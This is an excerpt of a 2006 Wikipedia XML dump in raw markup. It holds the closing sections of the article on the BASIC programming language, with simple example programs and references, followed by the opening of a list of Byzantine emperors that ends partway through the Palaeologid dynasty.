* on ''x'' goto / gosub (switch &amp; case)
&lt;/code&gt;

Recent variants such as [[Visual Basic]] have introduced [[object-oriented]] features, such as the For Each...Loop construct for looping through collections and arrays in VBA and Visual Basic 4 and later, and even [[inheritance (object-oriented programming)|inheritance]] in the latest version. Memory management is easier than in many other procedural programming languages because of the commonly included [[garbage collection (computer science)|garbage collector]] (presumably for which, however, one pays a run-time performance penalty). 

This wealth of variants shows that the language is an &quot;organic&quot; one and that it may be seen as a subculture dealing with computer programming rather than as a fixed set of syntactic rules. This applies as well to other &quot;old&quot; computer languages like [[COBOL]] and [[FORTRAN]], although the BASIC movement is by far the largest; this may be explained by the large number of IT professionals who learned to program in BASIC during the home computer era in the 1980s.

=== Procedures and flow control ===

BASIC does not have a standard external library like other languages such as C. Instead, the interpreter (or compiler) contains an extensive built-in library of intrinsic procedures. These procedures include most of the tools a programmer needs to learn programming and write simple applications, including functions for math, strings, console input/output, graphics and file manipulation.

Some BASIC dialects do not allow programmers to write their own procedures. Programmers must instead write their programs with large numbers of [[GOTO]] statements for branching. This can result in very confusing source, commonly referred to as ''[[spaghetti code]]''. GOSUB statements branch to simple kinds of [[subroutine]]s without (sometimes with) parameters or local variables. Most modern versions of BASIC such as [[Quick BASIC programming language|Microsoft QuickBASIC]] have added support for full subroutines and functions. This is another area where BASIC differs from many other programming languages. BASIC, like Pascal, makes a distinction between a procedure which does not return a value (called a subroutine) and a procedure which does (called a function). Many other languages (notably C) make no distinction and consider everything a function (with some returning a &quot;void&quot; value).

While functions in the larger sense of subroutines returning values were a latecomer to BASIC dialects, many early systems supported the definition of one-line mathematical functions by DEF FN (&quot;DEFine FunctioN&quot;). The original Dartmouth BASIC also supported Algol-like functions and subroutines from an early date.

=== Data types ===

BASIC is well known for good [[literal string|string]] manipulation functions. Early dialects already had a set of fundamental functions (LEFT$, MID$, RIGHT$) to deal with strings easily. Because strings are often used in everyday applications this was a considerable advantage over other languages at the time of its introduction.

The original Dartmouth BASIC supported only numeric and string data types. There was no [[integer (computer science)|integer]] type. All numeric variables were [[floating point]]. Strings were dynamic in length. [[Array]]s of both numbers and strings were supported, as well as matrices (two dimensional arrays).

Every modern BASIC dialect at least has the integer and string data types. Data types are usually distinguished by a suffixed character; string identifiers end in $, whereas integers classically ended with a '%'. In some dialects, variables must be declared (with DIM) on their first usage; other dialects do not require it, but can optionally enforce it&amp;mdash;typically using a directive such as ''Option Explicit'' (in [[Visual Basic .NET|VB.NET]] it is on by default but can be turned off using ''Option Explicit Off''). Many dialects also support such additional types as 16- and 32-bit integers and floating-point numbers. Some have &quot;polynomial&quot;, &quot;complex&quot;, &quot;list&quot;, and specialized types for the intended use of the implementation. Additionally, some allow user-defined types similar to Pascal &quot;[[record (computer science)|record]]s&quot; or C &quot;structs&quot;.

Most BASIC dialects beyond the most primitive also support arrays of integers or other types. In some, arrays must be pre-allocated (with the DIM statement) before they can be used. Support for two- and higher-dimensional arrays, as well as arrays of non-integer types, is common.

 Visual Basic .NET
 
 DIM myIntArray (100) AS INTEGER
 DIM myStringArray (50) AS STRING

Depending on the dialect of BASIC, the resulting available elements in the array can vary. In some, commands similar to the first in the example will define a 101-element array of integers with elements from 0-100, others may define a 100-element array of integers with elements 1-100 or, rarely, 0-99. It may also be possible to set a default beginning element number other than 0 or 1 with an additional command such as ''Option Base''. The Visual Basic .NET example will create an array from 0-100.

When working with strings, commands similar to the second may allocate a 50-element array of variable-length strings, or may allocate a single string of 50 characters. Note that they are also subject to the numerical differences mentioned above.

These non-standard and, to some, less than intuitive dimensioning can often trip up the novice (and even the advanced) programmer. Newer dialects offer specific dimensioning, such as DIM myIntArray (10 TO 20) AS INTEGER which would be an 11-element array from 10-20.

=== Relational, logical operators ===

  =  equal           &lt;=  less than or equal       NOT  logical negation
 &lt;&gt;  not equal       &gt;=  greater than or equal    AND  logical conjunction
  &lt;  less than                                    OR   logical disjunction
  &gt;  greater than

Note that there is no lexical distinction between the assignment operator and the equality operator in BASIC; a single [[equal sign]] is used for both. There is, however, a method available to the programmer if a visible difference between the two is wanted: the optional LET keyword allows for assignments to be clearly and unambiguously distinguished from the use of the equality operator. Example: &lt;code&gt;IF X=7 THEN LET Y=3&lt;/code&gt;.

== Examples ==

=== A first program ===

New BASIC programmers on a home computer usually did not start with the [[Hello world program#BASIC|Hello world program]] made famous by [[Kernighan and Ritchie]]. The favorite first program was some variation on the following [[infinite loop]].

 10 PRINT &quot;BOB IS AWESOME!&quot;
 20 GOTO 10

=== Classic BASIC ===

Classic BASIC. Note that this example is actually well structured, demonstrating that use of the GOTO statement does not necessarily lead to an unstructured program.

  10 INPUT &quot;What is your name: &quot;; U$
  20 PRINT &quot;Hello &quot;; U$
  30 REM
  40 INPUT &quot;How many stars do you want: &quot;; N
  50 S$ = &quot;&quot;
  60 FOR I = 1 TO N
  70 S$ = S$ + &quot;*&quot;
  80 NEXT I
  90 PRINT S$
  100 REM
  110 INPUT &quot;Do you want more stars? &quot;; A$
  120 IF LEN(A$) = 0 THEN GOTO 110
  130 A$ = LEFT$(A$, 1)
  140 IF (A$ = &quot;Y&quot;) OR (A$ = &quot;y&quot;) THEN GOTO 40
  150 PRINT &quot;Goodbye &quot;;
  160 FOR I = 1 TO 200
  170 PRINT U$; &quot; &quot;;
  180 NEXT I
  190 PRINT

=== Modern BASIC ===
&quot;Modern&quot; structured BASIC (for example, [[QuickBASIC]] and [[PowerBASIC]]), replacing GOTO statements by more modern keywords.

 INPUT &quot;What is your name&quot;; UserName$
 PRINT &quot;Hello &quot;; UserName$
 DO
    INPUT &quot;How many stars do you want&quot;; NumStars
    Stars$ = &quot;&quot;
    Stars$ = REPEAT$(&quot;*&quot;, NumStars)   ' &lt;- ANSI BASIC
    ''--or--''
    Stars$ = STRING$(NumStars, &quot;*&quot;)   ' &lt;- MS   BASIC
    PRINT Stars$
    DO
       INPUT &quot;Do you want more stars&quot;;  Answer$
    LOOP UNTIL Answer$ &lt;&gt; &quot;&quot;
    Answer$ = LEFT$(Answer$, 1)
 LOOP WHILE  UCASE$(Answer$) = &quot;Y&quot;
 PRINT &quot;Goodbye &quot;;
 FOR I = 1 TO 200
    PRINT UserName$; &quot; &quot;;
 NEXT I
 PRINT

== See also ==
* [[Business Basic]] 
* [[List of BASIC dialects]]
* [[List of BASIC dialects by platform]]

== Notes ==
# {{note|name}} The acronym is tied to the name of an unpublished paper by Thomas Kurtz and is not a [[backronym]].
# {{note|dijkstra}} In a 1968 article, Dutch computer scientist [[Edsger Dijkstra]] considered programming languages using [[GOTO]] statements for program structuring purposes harmful for the productivity of the programmer as well as the quality of the resulting code ([http://www.acm.org/classics/oct95/ &quot;Go To Statement Considered Harmful&quot;], ''Communications of the ACM'' Volume 11, 147-148. 1968). This article does not mention any particular programming language; instead it states that the overuse of GOTO is a bad thing and gives the technical reasons why this should be so.&lt;br /&gt;In a 1975 tongue-in-cheek article, [http://www.cs.virginia.edu/~evans/cs655/readings/ewd498.html &quot;How do We Tell Truths that Might Hurt&quot;], ''Sigplan Notices'' Volume 17 No. 5, Dijkstra gives a list of uncomfortable &quot;truths&quot;, including his opinion of several programming languages of the time, such as BASIC. It appears that many people confuse the two articles and conclude that he particularly hated BASIC as a result of its GOTO statement. However, BASIC receives no worse treatment than [[PL/I]], [[COBOL]] or [[APL programming language|APL]] in his articles.

==References==
* Dartmouth College Computation Center (1964). [http://www.bitsavers.org/pdf/dartmouth/BASIC_Oct64.pdf ''A Manual for BASIC, the elementary algebraic language designed for use with the Dartmouth Time Sharing System'']. The original Dartmouth BASIC manual.
* Lien, David A. (1986). ''The Basic Handbook: Encyclopedia of the BASIC Computer Language'' (3rd ed.). Compusoft Publishing. ISBN 0932760333. Documents dialect variations for over 250 versions of BASIC.
* Kemeny, John G.; Kurtz, Thomas E. (1985). ''Back To BASIC: The History, Corruption, and Future of the Language''. Addison-Wesley. 141&amp;nbsp;pp. ISBN 0-201-13433-0.
* Jean E. Sammet. ''Programming languages: History and fundamentals''. Prentice-Hall, Englewood Cliffs, N.J. 1969.

=== Standards ===
* ANSI/ISO/IEC Standard for Minimal BASIC:
** ANSI X3.60-1978 &quot;FOR MINIMAL BASIC&quot;
** ISO/IEC 6373:1984 &quot;DATA PROCESSING - PROGRAMMING LANGUAGES - MINIMAL BASIC&quot;
* ANSI/ISO/IEC Standard for Full BASIC:
** ANSI X3.113-1987 &quot;PROGRAMMING LANGUAGES FULL BASIC&quot;
** ISO/IEC 10279:1991 &quot;INFORMATION TECHNOLOGY - PROGRAMMING LANGUAGES - FULL BASIC&quot;
* ANSI/ISO/IEC Addendum Defining Modules:
** ANSI X3.113 INTERPRETATIONS-1992 &quot;BASIC TECHNICAL INFORMATION BULLETIN # 1 INTERPRETATIONS OF ANSI 03.113-1987&quot;
** ISO/IEC 10279:1991/ Amd 1:1994 &quot;MODULES AND SINGLE CHARACTER INPUT ENHANCEMENT&quot;

==External links== &lt;!-- Please do not add any links for specific implementations of BASIC here. Add them to ''[[List of BASIC dialects]]'' and ''[[List of BASIC dialects by platform]]'' instead --&gt;
*[http://www.computer-books.us/basic.php Computer-Books.us] Online BASIC books
*[http://directory.google.com/Top/Computers/Programming/Languages/BASIC/ Google BASIC directory]

[[Category:BASIC programming language| ]]

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{{Template:Major_programming_languages}}</text>
    </revision>
  </page>
  <page>
    <title>List of Byzantine Emperors</title>
    <id>4016</id>
    <revision>
      <id>42114810</id>
      <timestamp>2006-03-03T22:42:01Z</timestamp>
      <contributor>
        <username>Hectorian</username>
        <id>913227</id>
      </contributor>
      <minor />
      <comment>Spelling corrections of the greek names</comment>
      <text xml:space="preserve">This is a list of the [[emperor|Emperors]] of the late Eastern [[Roman Empire]], called [[Byzantine Empire|Byzantine]].

The title of all Emperors listed preceding Heraclius was officially [[Augustus]], although various other titles such as [[Dominus]] were used as well. For official purposes, their names were preceded by [[Imperator]] [[Caesar]] [[Flavius]] and followed by Augustus. Following Heraclius, the title became the Greek [[Basileus]] (Gr. Βασιλεύς), which had formerly meant &quot;[[sovereign]]&quot; but now was used in place of Augustus. Other (and to Roman minds, lesser) kings were titled by the neologism Rigas (Gr. Ρήγας, from the Lat. &quot;Rex&quot;). [[Autocrat|Autokrator]] (Gr. Αυτοκράτωρ) was also frequently used, along with a plethora of more hyperbolic titles&amp;mdash;with grandiloquence typically in inverse proportion to actual power&amp;mdash;including Kosmokrator (Gr.Κοσμοκράτωρ) (&quot;Master of the Universe&quot;) and Chronokrator (Gr.Χρονοκράτωρ) (&quot;Lord of All Time&quot;). The emperors of the 15th century alone were occasionally self-styled as Basileus ton Hellinon, &quot;Emperor of the Greeks,&quot; though they still considered themselves &quot;Roman&quot; Emperors.

[Note: See also ''[[Greek (name)#Byzantines .28.CE.92.CF.85.CE.B6.CE.B1.CE.BD.CF.84.CE.B9.CE.BD.CE.BF.CE.AF.29|the term &quot;Byzantine&quot;]]'' with regard to the late [[Roman Empire]]. This list begins with [[Constantine I (emperor)|Constantine I]] the Great, the first Christian emperor reigning from [[Constantinople]], although [[Diocletian]] before him had ruled from Nicaea and replaced the pseudorepublican trappings of the office with a straightforward autocracy and Heraclius I after him replaced Latin with Greek and began the restructuring of the Empire into [[Thema|themata]].]

==[[Constantine Dynasty|Constantinian dynasty]] (306-363)==
*St. [[Constantine I (emperor)|Constantine I]] the Great (Constantinus Pius Felix Invictus Augustus Pontifex Maximus Pater Patriae Proconsul) ([[272]] - [[337]], ruled [[306]] - [[337]]) &amp;ndash; son of [[Constantius I]] Chlorus; left the empire redivided among his heirs; canonized by the [[Orthodox]] church
*[[Constantius II]] (Iulius Constantius) ([[317]] - [[361]], ruled [[337]] - [[361]]) &amp;ndash; son of Constantine I
*[[Julian the Apostate|Julian]] the Apostate (Claudius Iulianus) ([[331]] - [[363]], ruled [[361]] - [[363]]) &amp;ndash; Pagan son-in-law of Constantine I, brother-in-law and first cousin of Constantius II, grandson of Constantius I

===Non-dynastic===
*[[Jovian]] (Iovianus) ([[332]] - [[364]], ruled [[363]] - [[364]]) &amp;ndash; Soldier, restored Christianity

==[[Valentinian Dynasty|Valentinian]]-[[House of Theodosius|Theodosian]] dynasty (364-457)==
*[[Valentinian I]] (Valentinianus) ([[321]] - [[375]], ruled  [[364]]) &amp;ndash; Soldier, redivided the empire, taking the West
*[[Valens]] (Iulius Valens) ([[328]] - [[378]], ruled [[364]] - [[378]]) &amp;ndash; brother of Valentinian I
*[[Gratianus]] ([[359]] - [[383]], ruled [[378]] - [[379]]) &amp;ndash; son of Valentinian I
*[[Theodosius I]] the Great ([[346]] - [[395]], ruled [[379]] - [[395]]) &amp;ndash; soldier; married to Valentinian I's daughter Galla, fought with [[Magnus Maximus]] at the [[Battle of the Save]] in [[388]]
*[[Arcadius]] ([[377]] - [[408]], ruled [[395]] - [[408]]) &amp;ndash; son of Theodosius I, brother of [[Honorius]]
*[[Theodosius II]] the Younger ([[401]] - [[450]], ruled [[408]] - [[450]]) &amp;ndash; son of Arcadius
*Ste. [[Pulcheria]] ([[399]] – [[453]], ruled [[408]] - [[441]], [[450]]) &amp;ndash; sister of Theodosius II; canonized
*St. [[Marcian]] (Marcianus) ([[392]] - [[457]], ruled [[450]] - [[457]]) &amp;ndash; soldier; married Pulcheria after Theodosius's death; canonized by the [[Eastern Orthodox Church|Orthodox]] church

==[[House of Leo|Leonid dynasty]] (457-518)==
*[[Leo I (emperor)|Leo I]] the Thracian (Valerius Leo) ([[401]]-[[474]], ruled [[457]] - [[474]]) &amp;ndash; soldier
*[[Leo II (emperor)|Leo II]] ([[467]] - [[474]], ruled [[474]]) &amp;ndash; grandson of Leo I, son of Zeno
*[[Zeno (emperor)|Zeno]] ([[425]] - [[491]], ruled [[474]] - [[475]]) &amp;ndash; son-in-law of Leo I; orig. Tarasicodissa, an Isaurian
*[[Basiliscus]] ( ? - c. [[477]], ruled [[475]] - [[476]]) &amp;ndash; usurper; brother-in-law of Leo I
*[[Zeno (emperor)|Zeno]] (ruled [[476]] - [[491]]) &amp;ndash; restored 
*[[Anastasius I (emperor)|Anastasius I]] ([[430]] - [[518]], ruled [[491]] - [[518]]) &amp;ndash; silentiarius; son-in-law of Leo I, elevated by selection by Zeno's widow Ariadne

==[[Justinian Dynasty|Justinian dynasty]] (518-602)==
*[[Justin I]] (Iustinius)([[450]] - [[527]], ruled [[518]] - [[527]]) &amp;ndash; commander of the guard
*St. [[Justinian I]] the Great (Petrus Sabbatius Iustinianus)([[482]] - [[565]], ruled [[527]] - [[565]]) &amp;ndash; nephew and adoptive son of Justin I; canonized by the [[Eastern Orthodox Church|Orthodox]] church
*[[Justin II]] (Iustinius Iunior) ([[520]] - [[578]], ruled [[565]] - [[578]]) &amp;ndash; nephew of Justinian I; mad
*[[Tiberius II Constantine|Tiberius II]] (Tiberius Constantinus) ([[540]] - [[582]], ruled [[574]], [[578]] - [[582]]) &amp;ndash; Comes Excubitris; adopted by Justin II
*[[Maurice (emperor)|Maurice]] (Mauricius Tiberius) ([[539]] - [[602]], ruled [[582]] - [[602]]) &amp;ndash; son-in-law of Tiberius II

===Non-dynastic===
*[[Phocas]] the Tyrant ( ? - [[610]], ruled [[602]] - [[610]]) &amp;ndash; usurper; betrayed by his son-in-law

==[[Heraclian Dynasty|Heraclian dynasty]] (610-695)==
*[[Heraclius]] (Ηράκλειος) ([[575]] - [[641]], ruled [[610]] - [[641]]) &amp;ndash; usurper; son of the Armenian Exarch of Africa
*[[Constantine III (emperor)|Constantine III]] Heraclius (Κωνσταντίνος Γ' Ηράκλειος) ([[612]] - [[641]], ruled [[641]]) &amp;ndash; son of Heraclius; coemperor with Heracleonas
*[[Heracleonas]] (Heraclius II) Constantine (Ηρακλεωνάς) ([[626]] - [[641]]?, ruled [[641]]) &amp;ndash; son of Heraclius; mutilated and deposed
*[[Constans II]] Heraclius (Κώνστας Β' Ηράκλειος) ([[630]] - [[668]], ruled [[641]] - [[668]]) &amp;ndash; son of Constantine III; assassinated by chamberlain
*[[Constantine IV]] the Bearded (Κωνσταντίνος Δ' ο Πωγώνατος ) ([[649]] - [[685]], ruled [[668]] - [[685]]) &amp;ndash; son of Constans II
*[[Justinian II]] the Slit-nosed (Ιουστινιανός Β' ο Ρινότμητος) ([[668]] - [[711]], ruled [[685]] - [[695]]) &amp;ndash; son of Constantine IV; mutilated, deposed, and exiled

===Non-dynastic (695-705)===
*[[Leontius (emperor)|Leontius]] (Λεόντιος) (ruled [[695]] - [[698]]) &amp;ndash; Strategos (general); mutilated, deposed, and imprisoned - later executed
*[[Tiberius III]] (Τιβέριος Γ' ο Αψίμαρος) (ruled [[698]] - [[705]]) &amp;ndash; German orig. named Apsimar; deposed and executed

==Heraclian dynasty (705-711)==
*[[Justinian II]] the Slit-nosed (Ιουστινιανός Β' ο Ρινότμητος) (ruled [[705]] - [[711]]) &amp;ndash; restored; deposed and executed

===Non-dynastic (711-717)===
*[[Philippicus]] Bardanes (Φιλιππικός Βαρδάνης) (ruled [[711]] - [[713]]) &amp;ndash; Armenian soldier; deposed and mutilated
*[[Anastasius II (emperor)|Anastasius II]] (Αναστάσιος Β') ( ? - [[721]], ruled [[713]] - [[715]]) &amp;ndash; orig. Artemios; secretary of Philippicus; deposed &amp; entered monastery, later revolted &amp; was executed
*[[Theodosius III]] (Θεοδόσιος Γ' ο Αδραμμυττηνός) (ruled [[715]] - [[717]]) &amp;ndash; tax-collector; abdicated and entered monastery

==[[Isaurian Dynasty|Isaurian dynasty]] (717-802)==
*[[Leo III]] the Isaurian (Λέων Γ' ο Ίσαυρος) ([[675]] - [[741]], ruled [[717]] - [[741]]) &amp;ndash; Strategos
*[[Constantine V]] Copronymus (the Dung-named) (Κωνσταντίνος Ε' ο Κοπρώνυμος ή Καβαλίνος) ([[718]] - [[745]], ruled [[741]]) &amp;ndash; son of Leo III; deposed
*[[Artabasdus]] the Icon-lover (Αρτάβασδος ο Εικονόφιλος) (ruled [[741]] - [[743]]) &amp;ndash; Leo III's chamberlain and son-in-law
*[[Constantine V]] Copronymus (the Dung-named) (Κωνσταντίνος Ε' ο Κοπρώνυμος ή Καβαλίνος) (ruled [[743]] - [[775]]) &amp;ndash; restored
*[[Leo IV]] the Khazar (Λέων Δ' o Χαζάρος) ([[750]] - [[780]], ruled [[775]] - [[780]]) &amp;ndash; son of Constantine V
*[[Constantine VI]] the Blinded  (Κωνσταντίνος ΣΤ') ([[771]] - [[797]], ruled [[780]] - [[797]]) &amp;ndash; son of Leo IV; deposed and mutilated by mother
*Ste. [[Irene (empress)|Irene]] the Athenian (Ειρήνη η Αθηναία) ([[755]] - [[803]], ruled [[797]] - [[802]]) &amp;ndash; wife of Leo IV, mother of Constantine VI; canonized by the [[Eastern Orthodox Church|Orthodox]] church; deposed and exiled to [[Lesbos Island|Lesbos]]

==Phocid dynasty (802-813)==
*[[Nicephorus I]] Phocas (Νικηφόρος Α' Φωκάς) ( ? - [[811]], ruled [[802]] - [[811]]) &amp;ndash; [[Megas Logothetes]]; died in battle, skull used as wine cup
*[[Stauracius]] (Σταυράκιος Φωκάς) ( ? - [[812]], ruled [[811]]) &amp;ndash; son of Nicephorus I; paralyzed
*[[Michael I Rhangabes]] (Μιχαήλ Α' Ραγκαβής) (ruled [[811]] - [[813]]) &amp;ndash; son-in-law of Nicephorus I &amp; master of the palace; deposed &amp; entered monastery

===Non-dynastic===
*[[Leo V]] the Armenian (Λέων Ε' ο Αρμένιος) ([[775]] - [[820]], ruled [[813]] - [[820]]) &amp;ndash; Strategos; assassinated

==Phrygian dynasty (820-867)==
*[[Michael II]] the Stammerer or the Amorian (Μιχαήλ Β' ο Τραυλός η Ψηλλος) ([[770]] - [[829]], ruled [[820]] - [[829]]) &amp;ndash; Strategos, son-in-law of Constantine VI
*[[Theophilus (emperor)|Theophilus]] (Θεόφιλος) ([[813]] - [[842]], ruled [[829]] - [[842]]) &amp;ndash; son of Michael II
*[[Theodora (9th century)|Theodora]] (Θεοδώρα) (ruled [[842]] - [[855]]) &amp;ndash; wife of Theophilus; empress and regent for Michael III; canonized by the [[Eastern Orthodox Church|Orthodox]] church; deposed and entered monastery
*[[Michael III]] the Drunkard (Μιχαήλ Γ' ο Μέθυσος) ([[840]] - [[867]], ruled [[842]] - [[867]]) &amp;ndash; son of Theophilus; assassinated

==[[Macedonian dynasty]] (867-1056)==
*[[Basil I]] the Macedonian (Βασίλειος Α') ([[811]] - [[886]], ruled [[867]] - [[886]]) - married Michael III's widow; died in hunting accident
*[[Leo VI]] the Wise (Λέων ΣΤ' ο Σοφός) ([[866]] - [[912]], ruled [[886]] - [[912]]) &amp;ndash; likely either son of Basil I or Michael III; 
*[[Alexander III (emperor)|Alexander III]] (Αλέξανδρος Γ' του Βυζαντίου) ([[870]] - [[913]], ruled [[912]] - [[913]]) &amp;ndash; son of Basil I, regent for nephew
*[[Constantine VII]] the Purple-born (Κωνσταντίνος Ζ' ο Πορφυρογέννητος) ([[905]]-[[959]], ruled [[913]] - [[959]]) &amp;ndash; son of Leo VI
*[[Romanus I]] Lecapenus (Ρωμανός Α' ο Λεκαπηνός) ([[870]] - [[948]], ruled [[919]] - [[944]]) &amp;ndash; father-in-law of Constantine VII; coemperor, deposed by his sons and entered monastery
*[[Romanus II]] the Purple-born (Ρωμανός Β' ο Πορφυρογέννητος) ([[939]] - [[963]], ruled [[959]] - [[963]]) &amp;ndash; son of Constantine VII
*[[Nicephorus II]] Phocas (Νικηφόρος Β' Φωκάς ή Νικηφόρος Β' ο Φωκάς) ([[912]] - [[969]], ruled [[963]] - [[969]]) &amp;ndash; Strategos; married Romanus II's widow, regent for Basil; assassinated
*[[John I Tzimisces]] (Ιωάννης Α' Κουρκούας ο Τσιμισκής) ([[925]] - [[976]], ruled [[969]] - [[976]]) &amp;ndash; brother-in-law of Romanus II, lover of Nicephorus's wife but banned from marriage, regent for Basil
*[[Basil II]] the Bulgar-slayer (Βασίλειος Β' ο Βουλγαροκτόνος) ([[958]] - [[1025]], ruled [[976]] - [[1025]]) &amp;ndash; son of Romanus II
*[[Constantine VIII]] (Κωνσταντίνος Η')([[960]]-[[1028]], ruled [[1025]] - [[1028]]) &amp;ndash; son of Romanus II; silent coemperor with Basil II
*[[Zoe (empress)|Zoe I]] (Ζωή Α') ((c. [[978]] - [[1050]], ruled [[1028]] - [[1050]]) &amp;ndash; daughter of Constantine VIII
*[[Romanus III]] Argyrus (Ρωμανός Γ' ο Αργυρός) ([[968]] - [[1034]], ruled [[1028]] - [[1034]]) &amp;ndash; eparch of Constantinople; Zoe's first husband, arranged by Constantine VIII; murdered
*[[Michael IV]] the Paphlagonian (Μιχαήλ Δ' ο Παφλαγών) ([[1010]] - [[1041]], ruled [[1034]] - [[1041]]) &amp;ndash; Zoe's second husband
*[[Michael V]] the Caulker (Μιχαήλ Ε' ο Καλαφάτης) ([[1015]] - [[1042]], ruled [[1041]] - [[1042]]) &amp;ndash; Michael IV's nephew, Zoe's adopted son
*[[Theodora (11th century)|Theodora]] (Θεοδώρα) ([[980]] - [[1056]], ruled [[1042]]) &amp;ndash; daughter of Constantine VIII, coempress with Zoe
*[[Constantine IX]] Monomachus (Κωνσταντίνος Θ' ο Μονομάχος) ([[1000]] - [[1055]], ruled [[1042]] - [[1055]]) &amp;ndash; Zoe's third husband
*[[Theodora (11th century)|Theodora]] (Θεοδώρα) (ruled [[1055]] - [[1056]]) &amp;ndash; restored

===Non-dynastic===
*[[Michael VI]] the Bellicose (Μιχαήλ ΣΤ' ο Στρατιωτικός) (ruled [[1056]] - [[1057]]) &amp;ndash; chosen by Theodora; deposed &amp; entered monastery

==[[Comnenus|Comnenid dynasty]]==
*[[Isaac I Comnenus]] (Ισαάκιος Α' ο Κομνηνός) (c. [[1007]] - [[1060]], ruled [[1057]] - [[1059]]) &amp;ndash; soldier; abdicated in a fit of illness &amp; entered monastery

==Doukid dynasty (1059-1081)==
*[[Constantine X]] Ducas (Κωνσταντίνος Ι' ο Δούκας) ([[1006]] - [[1067]], ruled [[1059]] - [[1067]]) &amp;ndash; selected by Michael Psellus the Younger
*[[Michael VII]] Ducas Quarter-short (Μιχαήλ Ζ' Δούκας Παραπινάκης) ([[1050]] - [[1090]], ruled [[1067]] - [[1078]]) &amp;ndash; son of Constantine X, originally coemperor with two brothers and Romanus; deposed &amp; entered monastery
*[[Romanus IV]] Diogenes (Ρωμανός Δ' Διογένης) ([[1032]] - [[1072]], ruled [[1068]] - [[1071]]) &amp;ndash; married Constantine X's widow; coemperor, deposed &amp; mutilated to death
*[[Nicephorus III]] Botaniates (Νικηφόρος Γ' Βοτανειάτης) ([[1001]] - [[1081]], ruled [[1078]] - [[1081]]) &amp;ndash; Strategos claiming descent from the [[Fabii]], bigamously married Michael VII's wife; deposed &amp; forced into monastery

==Comnenid dynasty (restored, 1081-1185)==
*[[Alexius I Comnenus]] (Αλέξιος Α' Κομνηνός) ([[1057]] - [[1118]], ruled [[1081]] - [[1118]]) &amp;ndash; nephew of Isaac I, married Constantine X's grandniece
*[[John II Comnenus]] the Beautiful (Ιωάννης Β' Κομνηνός o Καλός) ([[1087]] - [[1143]], ruled [[1118]] - [[1143]]) &amp;ndash; son of Alexius I, died of a hunting accident
*[[Manuel I Comnenus]] the Great (Μανουήλ Α' Κομνηνός ο Μέγας) ([[1118]] - [[1180]], ruled [[1143]] - [[1180]]) &amp;ndash; son of John II
*[[Alexius II Comnenus]] (Αλέξιος B' Κομνηνός) ([[1169]] - [[1183]], ruled [[1180]] - [[1183]]) &amp;ndash; son of Manuel I; murdered with garrotte
*[[Andronicus I Comnenus]] (Ανδρόνικος Α' Κομνηνός) ([[1118]] - [[1185]], ruled [[1183]] - [[1185]]) &amp;ndash; nephew of John II; married Alexius II's widow; deposed, tortured, and executed; font of the Komnenid line in [[Trebizond|Trapezountas]]

==Angelid dynasty (1185-1204)==
*[[Isaac II Angelus]] (Ισαάκιος Β' Άγγελος) ([[1156]] - [[1204]], ruled [[1185]] - [[1195]]) &amp;ndash; great-grandson of Alexius I, deposed &amp; blinded
*[[Alexius III Angelus]] (Αλέξιος Γ' Άγγελος) ([[1153]] - [[1211]], ruled [[1195]] - [[1203]]) &amp;ndash; brother of Isaac II, deposed by [[Fourth Crusade|IV Crusade]] &amp; eventually forced into monastery
*[[Alexius IV Angelus]] (Αλέξιος Δ' Άγγελος) ([[1182]] - [[1204]], ruled [[1203]] - [[1204]]) &amp;ndash; son of Isaac II, deposed &amp; executed
*[[Isaac II Angelus]] (Ισαάκιος Β' Άγγελος) (ruled [[1203]] - [[1204]]) &amp;ndash; largely witless, restored as coemperor with Alexius IV, deposed
*[[Alexius V]] Ducas the Bushy-eyebrowed (Αλέξιος Ε' Δούκας ο Μούρτζουφλος) ([[1140]] - [[1204]], ruled [[1204]]) &amp;ndash; son-in-law of Alexius III

==Laskarid dynasty (in exile in the [[Empire of Nicaea]], 1204-1261)== 
[[Image:Laskarid eagle.jpg|thumb|180px|The Great Seal of the Laskarid dynasty]]
*[[Theodore I Lascaris]] (Θεόδωρος Α' Λάσκαρης) ([[1174]] - [[1222]], ruled [[1204]] - [[1222]]) &amp;ndash; son-in-law of Alexius III
*[[John III Ducas Vatatzes]] (Ιωάννης Γ' Δούκας Βατάτζης) ([[1192]] - [[1254]], ruled [[1222]] - [[1254]]) &amp;ndash; son-in-law of Theodore I; epileptic
*[[Theodore II Lascaris]] (Θεόδωρος Β' Λάσκαρης) ([[1221]] - [[1258]], ruled [[1254]] - [[1258]]) &amp;ndash; son of John III
*[[John IV Lascaris]] (Ιωάννης Δ' Λάσκαρης) ([[1250]] - [[1305]], ruled [[1258]] - [[1261]]) &amp;ndash; son of Theodore II, deposed, blinded, and imprisoned by Michael VIII

==[[Palaeologus|Palaeologid Dynasty]] (restored to Constantinople, 1259-1453)==
*[[Michael VIII Palaeologus]] (Μιχαήλ Η' Παλαιολόγος) ([[1224]] - [[1282]], ruled [[1259]] - [[1282]]) &amp;ndash; Strategos, regent for [[John IV Lascaris]]; great-grandson of [[Alexius III Angelus]]
*[[Andronicus II]] Palaeologus the Elder (Ανδρόνικος Β' ο Γέρος) ([[1258]] - [[1332]], ruled [[1282]] - [[1328]]) &amp;ndash; son of Michael VIII; abdicated
*[[Andronicus III]] Palaeologus the Younger (Ανδρόνικος Γ' Παλαιολόγος ο Νέος) ([[1297]] - [[1341]], ruled [[1328]] - [[1341]]) &amp;ndash; grandson of Andronicus II
*[[John V Palaeologus]] (Ιωάννης Ε' Παλαιολόγος) ([[1332]] - [[1391]], ruled [[1341]] - [[1347]]) &amp;ndash; son of [[Andronicus III]], deposed by John VI
*[[John VI Cantacuzenus]] (Ιωάννης Στ' Καντακουζηνός) ([[1295]] - [[1383]], ruled outright [[1347]] - [[1354]]) &amp;ndash; father-in-law of John V; deposed, and entered monastery as Ioasaph Christodoulus
*[[John V Palaeologus]] (ruled [[1354]] - [[1376]]) &amp;ndash; restored, deposed by Andronicus IV
*[[Andronicus IV]] Palaeologus (Ανδρόνικος Δ' Παλαιολόγος) ([[1348]] - [[1385]], ruled [[1376]] - [[1379]]) &amp;ndash; son of John V, half-blinded following revolt, later succeeded and was deposed, revolted a third time
*[[John V Palaeologus]] (Ιωάννης Ε' Παλαιολόγος) (Ιωάννης Ε' Παλαιολόγος) (ruled [[1379]] - [[1390]]) &amp;ndash; restored, deposed
*[[John VII Palaeologus]] (Ιωάννης Ζ' Παλαιολόγος) ([[1370]] - [[1408]], ruled [[1390]]) &amp;ndash; son of Andronicus IV
*[[John V Palaeologus]] (Ιωάννης Ε' Παλαιολόγος) (ruled [[1390]] - [[1391]]) &amp;ndash; restored
